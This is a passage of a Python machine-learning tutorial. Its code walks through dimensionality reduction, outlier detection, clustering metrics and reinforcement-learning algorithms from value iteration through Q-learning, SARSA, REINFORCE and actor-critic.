plt.grid(True)
plt.show()

print(f"Components needed for 95% variance: {n_components_95}")

# Incremental PCA for large datasets
from sklearn.decomposition import IncrementalPCA

ipca = IncrementalPCA(n_components=10, batch_size=100)
X_ipca = ipca.fit_transform(X)

# Kernel PCA for non-linear dimensionality reduction
from sklearn.decomposition import KernelPCA

kpca = KernelPCA(n_components=2, kernel='rbf', gamma=0.04)
X_kpca = kpca.fit_transform(X)

from sklearn.manifold import TSNE

# t-SNE
tsne = TSNE(
    n_components=2,
    perplexity=30,
    learning_rate=200,
    n_iter=1000,
    random_state=42
)
X_tsne = tsne.fit_transform(X)

# Visualization
plt.figure(figsize=(10, 6))
scatter = plt.scatter(X_tsne[:, 0], X_tsne[:, 1], c=y, cmap='tab10', alpha=0.6)
plt.colorbar(scatter)
plt.title('t-SNE of Digits Dataset')
plt.xlabel('t-SNE 1')
plt.ylabel('t-SNE 2')
plt.show()

# Try different perplexities
fig, axes = plt.subplots(2, 2, figsize=(15, 15))
perplexities = [5, 30, 50, 100]

for ax, perplexity in zip(axes.ravel(), perplexities):
    tsne = TSNE(n_components=2, perplexity=perplexity, random_state=42)
    X_embedded = tsne.fit_transform(X)

    scatter = ax.scatter(X_embedded[:, 0], X_embedded[:, 1], c=y, 
                        cmap='tab10', alpha=0.6)
    ax.set_title(f'Perplexity = {perplexity}')

plt.tight_layout()
plt.show()

# pip install umap-learn
import umap

# UMAP
reducer = umap.UMAP(
    n_components=2,
    n_neighbors=15,
    min_dist=0.1,
    metric='euclidean',
    random_state=42
)
X_umap = reducer.fit_transform(X)

# Visualization
plt.figure(figsize=(10, 6))
scatter = plt.scatter(X_umap[:, 0], X_umap[:, 1], c=y, cmap='tab10', alpha=0.6)
plt.colorbar(scatter)
plt.title('UMAP of Digits Dataset')
plt.xlabel('UMAP 1')
plt.ylabel('UMAP 2')
plt.show()

# Compare PCA, t-SNE, and UMAP
fig, axes = plt.subplots(1, 3, figsize=(18, 5))

methods = [
    ('PCA', X_pca),
    ('t-SNE', X_tsne),
    ('UMAP', X_umap)
]

for ax, (name, X_reduced) in zip(axes, methods):
    scatter = ax.scatter(X_reduced[:, 0], X_reduced[:, 1], c=y, 
                        cmap='tab10', alpha=0.6)
    ax.set_title(name)
    ax.set_xlabel(f'{name} 1')
    ax.set_ylabel(f'{name} 2')

plt.tight_layout()
plt.show()

from sklearn.discriminant_analysis import LinearDiscriminantAnalysis

# LDA (requires labels)
lda = LinearDiscriminantAnalysis(n_components=2)
X_lda = lda.fit_transform(X, y)

# Explained variance ratio
print(f"Explained variance ratio: {lda.explained_variance_ratio_}")

# Visualization
plt.figure(figsize=(10, 6))
scatter = plt.scatter(X_lda[:, 0], X_lda[:, 1], c=y, cmap='tab10', alpha=0.6)
plt.colorbar(scatter)
plt.xlabel(f'LD1 ({lda.explained_variance_ratio_[0]:.2%})')
plt.ylabel(f'LD2 ({lda.explained_variance_ratio_[1]:.2%})')
plt.title('LDA of Digits Dataset')
plt.show()

import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.data import DataLoader, TensorDataset

# Define autoencoder
class Autoencoder(nn.Module):
    def __init__(self, input_dim, encoding_dim):
        super(Autoencoder, self).__init__()

        # Encoder
        self.encoder = nn.Sequential(
            nn.Linear(input_dim, 128),
            nn.ReLU(),
            nn.Linear(128, 64),
            nn.ReLU(),
            nn.Linear(64, encoding_dim)
        )

        # Decoder
        self.decoder = nn.Sequential(
            nn.Linear(encoding_dim, 64),
            nn.ReLU(),
            nn.Linear(64, 128),
            nn.ReLU(),
            nn.Linear(128, input_dim),
            nn.Sigmoid()
        )

    def forward(self, x):
        encoded = self.encoder(x)
        decoded = self.decoder(encoded)
        return decoded

    def encode(self, x):
        return self.encoder(x)

# Prepare data
X_normalized = (X - X.min()) / (X.max() - X.min())
X_tensor = torch.FloatTensor(X_normalized)
dataset = TensorDataset(X_tensor, X_tensor)
dataloader = DataLoader(dataset, batch_size=32, shuffle=True)

# Initialize model
input_dim = X.shape[1]
encoding_dim = 2
model = Autoencoder(input_dim, encoding_dim)
criterion = nn.MSELoss()
optimizer = optim.Adam(model.parameters(), lr=0.001)

# Train
n_epochs = 50
for epoch in range(n_epochs):
    total_loss = 0
    for batch_x, _ in dataloader:
        optimizer.zero_grad()
        outputs = model(batch_x)
        loss = criterion(outputs, batch_x)
        loss.backward()
        optimizer.step()
        total_loss += loss.item()

    if (epoch + 1) % 10 == 0:
        print(f'Epoch [{epoch+1}/{n_epochs}], Loss: {total_loss/len(dataloader):.4f}')

# Get encoded representations
model.eval()
with torch.no_grad():
    X_encoded = model.encode(X_tensor).numpy()

# Visualization
plt.figure(figsize=(10, 6))
scatter = plt.scatter(X_encoded[:, 0], X_encoded[:, 1], c=y, cmap='tab10', alpha=0.6)
plt.colorbar(scatter)
plt.title('Autoencoder Dimensionality Reduction')
plt.xlabel('Encoded Dimension 1')
plt.ylabel('Encoded Dimension 2')
plt.show()

from sklearn.decomposition import NMF

# NMF (requires non-negative data)
X_nonneg = X - X.min() + 1e-10
nmf = NMF(n_components=10, init='random', random_state=42, max_iter=500)
W = nmf.fit_transform(X_nonneg)  # Coefficient matrix
H = nmf.components_  # Component matrix

print(f"Reconstruction error: {nmf.reconstruction_err_:.2f}")
print(f"W shape: {W.shape}, H shape: {H.shape}")

# Visualize components
fig, axes = plt.subplots(2, 5, figsize=(15, 6))
for i, ax in enumerate(axes.ravel()):
    ax.imshow(H[i].reshape(8, 8), cmap='gray')
    ax.set_title(f'Component {i+1}')
    ax.axis('off')
plt.tight_layout()
plt.show()

from sklearn.decomposition import TruncatedSVD

# Truncated SVD
svd = TruncatedSVD(n_components=10, random_state=42)
X_svd = svd.fit_transform(X)

print(f"Explained variance ratio: {svd.explained_variance_ratio_}")
print(f"Total explained variance: {svd.explained_variance_ratio_.sum():.3f}")

from sklearn.ensemble import IsolationForest

# Isolation Forest
iso_forest = IsolationForest(
    n_estimators=100,
    contamination=0.1,  # Expected proportion of outliers
    random_state=42
)
y_pred_outliers = iso_forest.fit_predict(X)

# -1 for outliers, 1 for inliers
n_outliers = (y_pred_outliers == -1).sum()
print(f"Number of outliers detected: {n_outliers}")

# Anomaly scores
anomaly_scores = iso_forest.score_samples(X)

# Visualization
plt.figure(figsize=(10, 6))
scatter = plt.scatter(X_pca[:, 0], X_pca[:, 1], c=anomaly_scores, cmap='RdYlGn')
plt.colorbar(scatter, label='Anomaly Score')
plt.title('Isolation Forest Anomaly Scores')
plt.xlabel('PC1')
plt.ylabel('PC2')
plt.show()

from sklearn.neighbors import LocalOutlierFactor

# Local Outlier Factor
lof = LocalOutlierFactor(n_neighbors=20, contamination=0.1)
y_pred_lof = lof.fit_predict(X)

# Negative outlier factor (lower values = more anomalous)
outlier_scores = lof.negative_outlier_factor_

n_outliers = (y_pred_lof == -1).sum()
print(f"Number of outliers detected: {n_outliers}")

from sklearn.svm import OneClassSVM

# One-Class SVM
oc_svm = OneClassSVM(nu=0.1, kernel='rbf', gamma='auto')
y_pred_oc = oc_svm.fit_predict(X)

n_outliers = (y_pred_oc == -1).sum()
print(f"Number of outliers detected: {n_outliers}")

from sklearn.covariance import EllipticEnvelope

# Elliptic Envelope (assumes Gaussian distribution)
elliptic = EllipticEnvelope(contamination=0.1, random_state=42)
y_pred_elliptic = elliptic.fit_predict(X)

n_outliers = (y_pred_elliptic == -1).sum()
print(f"Number of outliers detected: {n_outliers}")

from sklearn.neighbors import KernelDensity

# Kernel Density Estimation
kde = KernelDensity(kernel='gaussian', bandwidth=0.5)
kde.fit(X)

# Score samples (log-likelihood)
log_density = kde.score_samples(X)

# Sample from the learned distribution
samples = kde.sample(100, random_state=42)

# Visualization (for 2D data)
if X.shape[1] == 2:
    xx, yy = np.meshgrid(np.linspace(X[:, 0].min(), X[:, 0].max(), 100),
                         np.linspace(X[:, 1].min(), X[:, 1].max(), 100))
    Z = np.exp(kde.score_samples(np.c_[xx.ravel(), yy.ravel()]))
    Z = Z.reshape(xx.shape)

    plt.figure(figsize=(10, 6))
    plt.contourf(xx, yy, Z, levels=20, cmap='viridis', alpha=0.6)
    plt.scatter(X[:, 0], X[:, 1], c='red', alpha=0.3, s=10)
    plt.colorbar(label='Density')
    plt.title('Kernel Density Estimation')
    plt.show()

# pip install mlxtend
from mlxtend.frequent_patterns import apriori, association_rules
import pandas as pd

# Example transaction data
transactions = [
    ['milk', 'bread', 'butter'],
    ['milk', 'bread'],
    ['milk', 'butter'],
    ['bread', 'butter'],
    ['milk', 'bread', 'butter', 'cheese'],
    ['milk', 'cheese'],
    ['bread', 'cheese']
]

# Convert to one-hot encoded DataFrame
from mlxtend.preprocessing import TransactionEncoder

te = TransactionEncoder()
te_array = te.fit(transactions).transform(transactions)
df = pd.DataFrame(te_array, columns=te.columns_)

# Find frequent itemsets
frequent_itemsets = apriori(df, min_support=0.3, use_colnames=True)
print("Frequent Itemsets:")
print(frequent_itemsets)

# Generate association rules
rules = association_rules(frequent_itemsets, metric='confidence', min_threshold=0.5)
print("\nAssociation Rules:")
print(rules[['antecedents', 'consequents', 'support', 'confidence', 'lift']])

# Filter interesting rules
interesting_rules = rules[(rules['lift'] > 1) & (rules['confidence'] > 0.6)]
print("\nInteresting Rules:")
print(interesting_rules)

from sklearn.metrics import (
    silhouette_score, davies_bouldin_score, 
    calinski_harabasz_score, adjusted_rand_score
)

# Silhouette Score (higher is better, range: [-1, 1])
silhouette = silhouette_score(X, y_pred)

# Davies-Bouldin Index (lower is better)
davies_bouldin = davies_bouldin_score(X, y_pred)

# Calinski-Harabasz Index (higher is better)
calinski_harabasz = calinski_harabasz_score(X, y_pred)

# Adjusted Rand Index (if true labels available)
ari = adjusted_rand_score(y_true, y_pred)

print(f"Silhouette Score: {silhouette:.3f}")
print(f"Davies-Bouldin Index: {davies_bouldin:.3f}")
print(f"Calinski-Harabasz Index: {calinski_harabasz:.3f}")
print(f"Adjusted Rand Index: {ari:.3f}")

# Silhouette analysis per sample
from sklearn.metrics import silhouette_samples

silhouette_vals = silhouette_samples(X, y_pred)

# Visualize silhouette scores
fig, ax = plt.subplots(figsize=(10, 6))
y_lower = 10

for i in range(len(set(y_pred))):
    cluster_silhouette_vals = silhouette_vals[y_pred == i]
    cluster_silhouette_vals.sort()

    size_cluster_i = cluster_silhouette_vals.shape[0]
    y_upper = y_lower + size_cluster_i

    ax.fill_betweenx(np.arange(y_lower, y_upper),
                     0, cluster_silhouette_vals,
                     alpha=0.7)

    ax.text(-0.05, y_lower + 0.5 * size_cluster_i, str(i))
    y_lower = y_upper + 10

ax.set_xlabel("Silhouette Coefficient")
ax.set_ylabel("Cluster")
ax.axvline(x=silhouette, color="red", linestyle="--")
ax.set_title("Silhouette Analysis")
plt.show()

# Always scale features for distance-based methods
from sklearn.preprocessing import StandardScaler

scaler = StandardScaler()
X_scaled = scaler.fit_transform(X)

# Apply dimensionality reduction before clustering
pca = PCA(n_components=0.95)  # Keep 95% variance
X_reduced = pca.fit_transform(X_scaled)
kmeans = KMeans(n_clusters=4)
kmeans.fit(X_reduced)

def plot_clusters_3d(X, labels, title='3D Cluster Visualization'):
    from mpl_toolkits.mplot3d import Axes3D

    # Reduce to 3D if needed
    if X.shape[1] > 3:
        pca = PCA(n_components=3)
        X = pca.fit_transform(X)

    fig = plt.figure(figsize=(12, 8))
    ax = fig.add_subplot(111, projection='3d')
    scatter = ax.scatter(X[:, 0], X[:, 1], X[:, 2], c=labels, cmap='viridis')
    ax.set_title(title)
    plt.colorbar(scatter)
    plt.show()

At each time step t:
- Agent observes state s_t
- Agent takes action a_t
- Environment transitions to s_{t+1}
- Agent receives reward r_{t+1}

import numpy as np
import matplotlib.pyplot as plt

# Simple RL environment example
class GridWorld:
    def __init__(self, size=5):
        self.size = size
        self.state = (0, 0)
        self.goal = (size-1, size-1)

    def reset(self):
        self.state = (0, 0)
        return self.state

    def step(self, action):
        # Actions: 0=up, 1=right, 2=down, 3=left
        x, y = self.state

        if action == 0:  # up
            x = max(0, x - 1)
        elif action == 1:  # right
            y = min(self.size - 1, y + 1)
        elif action == 2:  # down
            x = min(self.size - 1, x + 1)
        elif action == 3:  # left
            y = max(0, y - 1)

        self.state = (x, y)

        # Reward
        if self.state == self.goal:
            reward = 1.0
            done = True
        else:
            reward = -0.01  # Small penalty for each step
            done = False

        return self.state, reward, done

    def render(self):
        grid = np.zeros((self.size, self.size))
        grid[self.state] = 1
        grid[self.goal] = 0.5
        plt.imshow(grid, cmap='hot')
        plt.title(f'State: {self.state}')
        plt.show()

# Example usage
env = GridWorld(size=5)
state = env.reset()
print(f"Initial state: {state}")

# Take random actions
for _ in range(5):
    action = np.random.randint(0, 4)
    state, reward, done = env.step(action)
    print(f"State: {state}, Reward: {reward}, Done: {done}")
    if done:
        break

G_t = R_{t+1} + γR_{t+2} + γ²R_{t+3} + ... = Σ_{k=0}^∞ γ^k R_{t+k+1}

def calculate_return(rewards, gamma=0.99):
    """Calculate discounted return from a list of rewards"""
    G = 0
    returns = []
    for r in reversed(rewards):
        G = r + gamma * G
        returns.insert(0, G)
    return returns

# Example
rewards = [1, 0, 0, 1, 0]
returns = calculate_return(rewards, gamma=0.9)
print(f"Rewards: {rewards}")
print(f"Returns: {returns}")

P(s_{t+1}|s_t, a_t, s_{t-1}, a_{t-1}, ...) = P(s_{t+1}|s_t, a_t)

class MDP:
    def __init__(self, states, actions, transitions, rewards, gamma=0.99):
        self.states = states
        self.actions = actions
        self.transitions = transitions  # P(s'|s,a)
        self.rewards = rewards          # R(s,a,s')
        self.gamma = gamma

    def get_transition_prob(self, state, action, next_state):
        return self.transitions.get((state, action, next_state), 0.0)

    def get_reward(self, state, action, next_state):
        return self.rewards.get((state, action, next_state), 0.0)

# Example: Simple MDP
states = ['s0', 's1', 's2']
actions = ['a0', 'a1']

transitions = {
    ('s0', 'a0', 's1'): 0.8,
    ('s0', 'a0', 's0'): 0.2,
    ('s0', 'a1', 's2'): 0.9,
    ('s0', 'a1', 's0'): 0.1,
    ('s1', 'a0', 's2'): 1.0,
    ('s2', 'a0', 's2'): 1.0,
}

rewards = {
    ('s0', 'a0', 's1'): -1,
    ('s0', 'a1', 's2'): 10,
    ('s1', 'a0', 's2'): 5,
}

mdp = MDP(states, actions, transitions, rewards)

V^π(s) = E_π[G_t | S_t = s]
       = E_π[Σ_{k=0}^∞ γ^k R_{t+k+1} | S_t = s]

Q^π(s,a) = E_π[G_t | S_t = s, A_t = a]

V^π(s) = Σ_a π(a|s) Σ_{s',r} p(s',r|s,a)[r + γV^π(s')]
Q^π(s,a) = Σ_{s',r} p(s',r|s,a)[r + γΣ_{a'} π(a'|s')Q^π(s',a')]

V*(s) = max_π V^π(s) = max_a Q*(s,a)
Q*(s,a) = E[R_{t+1} + γV*(S_{t+1}) | S_t=s, A_t=a]

def policy_evaluation(policy, mdp, theta=1e-6):
    """
    Evaluate a policy using iterative policy evaluation

    Args:
        policy: dict mapping states to action probabilities
        mdp: MDP object
        theta: convergence threshold
    """
    V = {s: 0 for s in mdp.states}

    while True:
        delta = 0
        for s in mdp.states:
            v = V[s]
            new_v = 0

            # Sum over actions
            for a in mdp.actions:
                action_prob = policy.get((s, a), 0)

                # Sum over next states
                for s_prime in mdp.states:
                    trans_prob = mdp.get_transition_prob(s, a, s_prime)
                    reward = mdp.get_reward(s, a, s_prime)
                    new_v += action_prob * trans_prob * (reward + mdp.gamma * V[s_prime])

            V[s] = new_v
            delta = max(delta, abs(v - V[s]))

        if delta < theta:
            break

    return V

# Example: Uniform random policy
random_policy = {
    ('s0', 'a0'): 0.5,
    ('s0', 'a1'): 0.5,
    ('s1', 'a0'): 1.0,
    ('s2', 'a0'): 1.0,
}

V = policy_evaluation(random_policy, mdp)
print("State values:", V)

def policy_iteration(mdp, theta=1e-6):
    """
    Find optimal policy using policy iteration
    """
    # Initialize random policy
    policy = {}
    for s in mdp.states:
        action = np.random.choice(mdp.actions)
        for a in mdp.actions:
            policy[(s, a)] = 1.0 if a == action else 0.0

    while True:
        # Policy Evaluation
        V = policy_evaluation(policy, mdp, theta)

        # Policy Improvement
        policy_stable = True

        for s in mdp.states:
            old_action = None
            for a in mdp.actions:
                if policy.get((s, a), 0) == 1.0:
                    old_action = a
                    break

            # Find best action
            action_values = {}
            for a in mdp.actions:
                q = 0
                for s_prime in mdp.states:
                    trans_prob = mdp.get_transition_prob(s, a, s_prime)
                    reward = mdp.get_reward(s, a, s_prime)
                    q += trans_prob * (reward + mdp.gamma * V[s_prime])
                action_values[a] = q

            best_action = max(action_values, key=action_values.get)

            # Update policy
            for a in mdp.actions:
                policy[(s, a)] = 1.0 if a == best_action else 0.0

            if best_action != old_action:
                policy_stable = False

        if policy_stable:
            break

    return policy, V

optimal_policy, optimal_V = policy_iteration(mdp)
print("Optimal policy:", optimal_policy)
print("Optimal values:", optimal_V)

def value_iteration(mdp, theta=1e-6):
    """
    Find optimal policy using value iteration
    """
    V = {s: 0 for s in mdp.states}

    while True:
        delta = 0
        for s in mdp.states:
            v = V[s]

            # Find max over actions
            action_values = []
            for a in mdp.actions:
                q = 0
                for s_prime in mdp.states:
                    trans_prob = mdp.get_transition_prob(s, a, s_prime)
                    reward = mdp.get_reward(s, a, s_prime)
                    q += trans_prob * (reward + mdp.gamma * V[s_prime])
                action_values.append(q)

            V[s] = max(action_values) if action_values else 0
            delta = max(delta, abs(v - V[s]))

        if delta < theta:
            break

    # Extract policy
    policy = {}
    for s in mdp.states:
        action_values = {}
        for a in mdp.actions:
            q = 0
            for s_prime in mdp.states:
                trans_prob = mdp.get_transition_prob(s, a, s_prime)
                reward = mdp.get_reward(s, a, s_prime)
                q += trans_prob * (reward + mdp.gamma * V[s_prime])
            action_values[a] = q

        best_action = max(action_values, key=action_values.get)
        for a in mdp.actions:
            policy[(s, a)] = 1.0 if a == best_action else 0.0

    return policy, V

optimal_policy, optimal_V = value_iteration(mdp)

def first_visit_mc_prediction(env, policy, num_episodes=1000, gamma=0.99):
    """
    Estimate state-value function using first-visit MC
    """
    returns = {s: [] for s in env.states}
    V = {s: 0 for s in env.states}

    for episode in range(num_episodes):
        # Generate episode
        episode_data = []
        state = env.reset()
        done = False

        while not done:
            action = policy[state]
            next_state, reward, done = env.step(action)
            episode_data.append((state, action, reward))
            state = next_state

        # Calculate returns
        G = 0
        visited_states = set()

        for t in reversed(range(len(episode_data))):
            state, action, reward = episode_data[t]
            G = reward + gamma * G

            # First-visit: only update if state not seen earlier
            if state not in visited_states:
                returns[state].append(G)
                V[state] = np.mean(returns[state])
                visited_states.add(state)

    return V

# Example usage with GridWorld
env = GridWorld(size=4)
# Define a simple policy
policy = {state: np.random.randint(0, 4) for state in 
          [(i, j) for i in range(4) for j in range(4)]}

V = first_visit_mc_prediction(env, policy, num_episodes=10000)

def mc_control_epsilon_greedy(env, num_episodes=10000, gamma=0.99, epsilon=0.1):
    """
    Monte Carlo control with epsilon-greedy policy
    """
    Q = {}
    returns = {}

    # Initialize Q-values
    for state in env.get_all_states():
        for action in range(env.num_actions):
            Q[(state, action)] = 0
            returns[(state, action)] = []

    for episode in range(num_episodes):
        # Generate episode with epsilon-greedy policy
        episode_data = []
        state = env.reset()
        done = False

        while not done:
            # Epsilon-greedy action selection
            if np.random.random() < epsilon:
                action = np.random.randint(0, env.num_actions)
            else:
                q_values = [Q.get((state, a), 0) for a in range(env.num_actions)]
                action = np.argmax(q_values)

            next_state, reward, done = env.step(action)
            episode_data.append((state, action, reward))
            state = next_state

        # Update Q-values
        G = 0
        visited = set()

        for t in reversed(range(len(episode_data))):
            state, action, reward = episode_data[t]
            G = reward + gamma * G

            if (state, action) not in visited:
                returns[(state, action)].append(G)
                Q[(state, action)] = np.mean(returns[(state, action)])
                visited.add((state, action))

    # Extract policy
    policy = {}
    for state in env.get_all_states():
        q_values = [Q.get((state, a), 0) for a in range(env.num_actions)]
        policy[state] = np.argmax(q_values)

    return policy, Q

V(S_t) ← V(S_t) + α[R_{t+1} + γV(S_{t+1}) - V(S_t)]

def td_0_prediction(env, policy, num_episodes=1000, alpha=0.1, gamma=0.99):
    """
    TD(0) prediction for estimating state values
    """
    V = {s: 0 for s in env.get_all_states()}

    for episode in range(num_episodes):
        state = env.reset()
        done = False

        while not done:
            action = policy[state]
            next_state, reward, done = env.step(action)

            # TD update
            if not done:
                td_target = reward + gamma * V[next_state]
            else:
                td_target = reward

            td_error = td_target - V[state]
            V[state] += alpha * td_error

            state = next_state

    return V

def td_lambda_prediction(env, policy, num_episodes=1000, 
                        alpha=0.1, gamma=0.99, lambda_=0.9):
    """
    TD(λ) prediction with eligibility traces
    """
    V = {s: 0 for s in env.get_all_states()}

    for episode in range(num_episodes):
        E = {s: 0 for s in env.get_all_states()}  # Eligibility traces
        state = env.reset()
        done = False

        while not done:
            action = policy[state]
            next_state, reward, done = env.step(action)

            # Calculate TD error
            if not done:
                td_error = reward + gamma * V[next_state] - V[state]
            else:
                td_error = reward - V[state]

            # Update eligibility trace for current state
            E[state] += 1

            # Update all states
            for s in env.get_all_states():
                V[s] += alpha * td_error * E[s]
                E[s] *= gamma * lambda_

            state = next_state

    return V

Q(S_t, A_t) ← Q(S_t, A_t) + α[R_{t+1} + γ max_a Q(S_{t+1}, a) - Q(S_t, A_t)]

class QLearningAgent:
    def __init__(self, state_space, action_space, alpha=0.1, gamma=0.99, epsilon=0.1):
        self.state_space = state_space
        self.action_space = action_space
        self.alpha = alpha
        self.gamma = gamma
        self.epsilon = epsilon

        # Initialize Q-table
        self.q_table = {}
        for state in state_space:
            for action in action_space:
                self.q_table[(state, action)] = 0.0

    def get_action(self, state, training=True):
        """Epsilon-greedy action selection"""
        if training and np.random.random() < self.epsilon:
            return np.random.choice(self.action_space)
        else:
            q_values = [self.q_table.get((state, a), 0) for a in self.action_space]
            return self.action_space[np.argmax(q_values)]

    def update(self, state, action, reward, next_state, done):
        """Q-learning update"""
        # Current Q-value
        current_q = self.q_table[(state, action)]

        # Maximum Q-value for next state
        if not done:
            max_next_q = max([self.q_table.get((next_state, a), 0) 
                            for a in self.action_space])
        else:
            max_next_q = 0

        # Q-learning update
        td_target = reward + self.gamma * max_next_q
        td_error = td_target - current_q
        self.q_table[(state, action)] += self.alpha * td_error

        return td_error

    def train(self, env, num_episodes=1000):
        """Train the agent"""
        episode_rewards = []

        for episode in range(num_episodes):
            state = env.reset()
            total_reward = 0
            done = False

            while not done:
                action = self.get_action(state, training=True)
                next_state, reward, done = env.step(action)

                self.update(state, action, reward, next_state, done)

                state = next_state
                total_reward += reward

            episode_rewards.append(total_reward)

            # Decay epsilon
            self.epsilon = max(0.01, self.epsilon * 0.995)

            if (episode + 1) % 100 == 0:
                avg_reward = np.mean(episode_rewards[-100:])
                print(f"Episode {episode + 1}, Avg Reward: {avg_reward:.2f}, Epsilon: {self.epsilon:.3f}")

        return episode_rewards

# Example usage
env = GridWorld(size=5)
state_space = [(i, j) for i in range(5) for j in range(5)]
action_space = [0, 1, 2, 3]  # up, right, down, left

agent = QLearningAgent(state_space, action_space)
rewards = agent.train(env, num_episodes=5000)

# Plot learning curve
plt.figure(figsize=(10, 6))
plt.plot(np.convolve(rewards, np.ones(100)/100, mode='valid'))
plt.xlabel('Episode')
plt.ylabel('Average Reward (100 episodes)')
plt.title('Q-Learning Training Progress')
plt.grid(True)
plt.show()

class DoubleQLearningAgent:
    def __init__(self, state_space, action_space, alpha=0.1, gamma=0.99, epsilon=0.1):
        self.state_space = state_space
        self.action_space = action_space
        self.alpha = alpha
        self.gamma = gamma
        self.epsilon = epsilon

        # Two Q-tables
        self.q_table_1 = {(s, a): 0.0 for s in state_space for a in action_space}
        self.q_table_2 = {(s, a): 0.0 for s in state_space for a in action_space}

    def get_action(self, state, training=True):
        """Epsilon-greedy using average of both Q-tables"""
        if training and np.random.random() < self.epsilon:
            return np.random.choice(self.action_space)
        else:
            q_values = [(self.q_table_1[(state, a)] + self.q_table_2[(state, a)]) / 2 
                       for a in self.action_space]
            return self.action_space[np.argmax(q_values)]

    def update(self, state, action, reward, next_state, done):
        """Double Q-learning update"""
        # Randomly choose which Q-table to update
        if np.random.random() < 0.5:
            q_table_update = self.q_table_1
            q_table_target = self.q_table_2
        else:
            q_table_update = self.q_table_2
            q_table_target = self.q_table_1

        current_q = q_table_update[(state, action)]

        if not done:
            # Use one Q-table to select action, other to evaluate
            best_action = max(self.action_space, 
                            key=lambda a: q_table_update[(next_state, a)])
            max_next_q = q_table_target[(next_state, best_action)]
        else:
            max_next_q = 0

        td_target = reward + self.gamma * max_next_q
        td_error = td_target - current_q
        q_table_update[(state, action)] += self.alpha * td_error

        return td_error

Q(S_t, A_t) ← Q(S_t, A_t) + α[R_{t+1} + γQ(S_{t+1}, A_{t+1}) - Q(S_t, A_t)]

class SARSAAgent:
    def __init__(self, state_space, action_space, alpha=0.1, gamma=0.99, epsilon=0.1):
        self.state_space = state_space
        self.action_space = action_space
        self.alpha = alpha
        self.gamma = gamma
        self.epsilon = epsilon

        # Initialize Q-table
        self.q_table = {(s, a): 0.0 for s in state_space for a in action_space}

    def get_action(self, state, training=True):
        """Epsilon-greedy action selection"""
        if training and np.random.random() < self.epsilon:
            return np.random.choice(self.action_space)
        else:
            q_values = [self.q_table[(state, a)] for a in self.action_space]
            return self.action_space[np.argmax(q_values)]

    def update(self, state, action, reward, next_state, next_action, done):
        """SARSA update"""
        current_q = self.q_table[(state, action)]

        if not done:
            next_q = self.q_table[(next_state, next_action)]
        else:
            next_q = 0

        td_target = reward + self.gamma * next_q
        td_error = td_target - current_q
        self.q_table[(state, action)] += self.alpha * td_error

        return td_error

    def train(self, env, num_episodes=1000):
        """Train the agent"""
        episode_rewards = []

        for episode in range(num_episodes):
            state = env.reset()
            action = self.get_action(state, training=True)
            total_reward = 0
            done = False

            while not done:
                next_state, reward, done = env.step(action)
                next_action = self.get_action(next_state, training=True)

                self.update(state, action, reward, next_state, next_action, done)

                state = next_state
                action = next_action
                total_reward += reward

            episode_rewards.append(total_reward)
            self.epsilon = max(0.01, self.epsilon * 0.995)

        return episode_rewards

∇_θ J(θ) = E_π[∇_θ log π(a|s,θ) Q^π(s,a)]

import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F

class PolicyNetwork(nn.Module):
    def __init__(self, state_dim, action_dim, hidden_dim=64):
        super(PolicyNetwork, self).__init__()
        self.fc1 = nn.Linear(state_dim, hidden_dim)
        self.fc2 = nn.Linear(hidden_dim, hidden_dim)
        self.fc3 = nn.Linear(hidden_dim, action_dim)

    def forward(self, x):
        x = F.relu(self.fc1(x))
        x = F.relu(self.fc2(x))
        x = F.softmax(self.fc3(x), dim=-1)
        return x

class REINFORCEAgent:
    def __init__(self, state_dim, action_dim, lr=0.001, gamma=0.99):
        self.gamma = gamma
        self.policy_net = PolicyNetwork(state_dim, action_dim)
        self.optimizer = optim.Adam(self.policy_net.parameters(), lr=lr)

        self.saved_log_probs = []
        self.rewards = []

    def select_action(self, state):
        """Select action using current policy"""
        state = torch.FloatTensor(state).unsqueeze(0)
        probs = self.policy_net(state)
        action_dist = torch.distributions.Categorical(probs)
        action = action_dist.sample()

        # Save log probability for training
        self.saved_log_probs.append(action_dist.log_prob(action))

        return action.item()

    def update(self):
        """Update policy using REINFORCE"""
        R = 0
        returns = []

        # Calculate returns
        for r in reversed(self.rewards):
            R = r + self.gamma * R
            returns.insert(0, R)

        # Normalize returns
        returns = torch.tensor(returns)
        returns = (returns - returns.mean()) / (returns.std() + 1e-8)

        # Calculate loss
        policy_loss = []
        for log_prob, R in zip(self.saved_log_probs, returns):
            policy_loss.append(-log_prob * R)

        # Update policy
        self.optimizer.zero_grad()
        policy_loss = torch.stack(policy_loss).sum()
        policy_loss.backward()
        self.optimizer.step()

        # Clear saved values
        self.saved_log_probs = []
        self.rewards = []

        return policy_loss.item()

    def train(self, env, num_episodes=1000):
        """Train the agent"""
        episode_rewards = []

        for episode in range(num_episodes):
            state = env.reset()
            total_reward = 0
            done = False

            while not done:
                action = self.select_action(state)
                next_state, reward, done = env.step(action)

                self.rewards.append(reward)
                state = next_state
                total_reward += reward

            # Update policy after episode
            loss = self.update()
            episode_rewards.append(total_reward)

            if (episode + 1) % 100 == 0:
                avg_reward = np.mean(episode_rewards[-100:])
                print(f"Episode {episode + 1}, Avg Reward: {avg_reward:.2f}")

        return episode_rewards

class ActorCritic(nn.Module):
    def __init__(self, state_dim, action_dim, hidden_dim=64):
        super(ActorCritic, self).__init__()

        self.shared = nn.Sequential(
            nn.Linear(state_dim, hidden_dim),
            nn.ReLU()
        )

        # Actor (policy)
        self.actor = nn.Sequential(
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, action_dim),
            nn.Softmax(dim=-1)
        )

        # Critic (value function)
        self.critic = nn.Sequential(
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, 1)
        )

    def forward(self, x):
        shared_features = self.shared(x)
        action_probs = self.actor(shared_features)
        state_value = self.critic(shared_features)
        return action_probs, state_value

class A2CAgent:
    def __init__(self, state_dim, action_dim, lr=0.001, gamma=0.99):
        self.gamma = gamma
        self.model = ActorCritic(state_dim, action_dim)
        self.optimizer = optim.Adam(self.model.parameters(), lr=lr)

    def select_action(self, state):
        """Select action and get state value"""
        state = torch.FloatTensor(state).unsqueeze(0)
        action_probs, state_value = self.model(state)
        action_dist = torch.distributions.Categorical(action_probs)
        action = action_dist.sample()

        return action.item(), action_dist.log_prob(action), state_value

    def train_step(self, log_prob, value, reward, next_value, done):
        """Single training step"""
        # Calculate advantage
        if done:
            td_target = reward
        else:
            td_target = reward + self.gamma * next_value

        advantage = td_target - value

        # Actor loss (policy gradient)
        actor_loss = -log_prob * advantage.detach()

